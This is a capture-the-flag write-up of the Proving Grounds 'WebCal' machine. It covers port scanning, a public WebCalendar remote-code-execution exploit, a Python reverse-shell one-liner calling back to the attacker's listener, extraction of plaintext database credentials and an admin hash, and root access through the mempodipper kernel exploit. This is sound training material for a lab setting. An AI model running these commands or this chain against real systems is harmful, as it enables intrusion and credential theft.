WebCal

Pg Practice WebCal writeup

Nmap

sudo nmap 192.168.59.37 -sS -p- -sV 

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 5.8p1 Debian 7ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp open  smtp    Postfix smtpd
53/tcp open  domain  ISC BIND 9.7.3
80/tcp open  http    Apache httpd 2.2.20 ((Ubuntu))
Service Info: Host:  ucal.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

FTP

On port 21 we have Pure-FTPd running. I tried anonymous login and was unable to authenticate.

SMTP

I ran default scripts and version enumeration against port 25 and was unable to gain interesting information. I will instead move onto port 80 for the time being.

HTTP

The root page for Port 80 takes us to the following:

Before navigating the website I ran nikto and dirsearch.py for further enumeration.

Dirsearch

Nikto

I looked through the discovered directories from dirsearch.py and was unable to identify any attack vectors. Looking through the output for nikto we do have a directory of /webcalendar/login.php.

We arrive at a login page for WebCalendar v1.2.3. I looked up default credentials which are admin:admin and was denied a valid login. I researched exploits for WebCalendar and came to a RCE exploit.

WebCalendar 1.2.4 - Remote Code ExecutionExploit Database

As per the defined usage in the exploit code I ran the exploit.

php exploit.php <IP> /webcalendar/

We now have a shell on the target machine and we are running as the user www-data. I found with this shell that when you trying changing directories or running scripts it would have unexpected behaviour.

I performed a quick check to see if python was installed using which python. After confirming Python is installed I tried a quick one liner reverse shell to see if we can get a more stable one.

First I started a netcat listener on my attacking machine:

sudo nc -lvp 443

The run the following command on the target machine:

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

We now have a more stable shell.

I changed to the /tmp/ directory and set up a Python SimpleHTTPServer on my attacking machine and downloaded linpeas.sh to assist with privilege escalation.

After running linpeas I had some trouble identifying a privilege escalation vector and fell into some rabbit holes. I decided to go back some and Google search for other WebCal exploits. I come across the following exploit.

WebCalendar 1.2.7 - Multiple VulnerabilitiesExploit Database

Except I was not actually interested in the exploit but in code we see a mention of database credentials.

I then looked for the settings.php file on the target machine which was on the /includes/ directory. Here I was able to find some database credentials.

We have the credentials: wc:edjfbxMT7KKo2PPC

I was then enable to login to MySQL with the credentials we have gathered.

mysql -u wc -p 

I was then able to pull the WebCal admin username and password hash from the intranet database.

I ID'd the hash as being a MD5 hash. At this point I tried cracking with hashcat on multiple wordlists including rockyou.txt and was unable to crack.

After searching around for privilege escalation vectors I was absolutely stuck for an exploit. I then checked linux-exploit-suggester.

The script directs to the memodipper exploit being a highly probable chance of exploitation. Download the exploit code and transfer it over to the target machine so we can compile.

https://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

I compiled the exploit with gcc and allowed the binary to be executable with chmod. Once completed I then called the exploit and was given a root shell.

gcc exploit.c -o exploit
chmod +x exploit
./exploit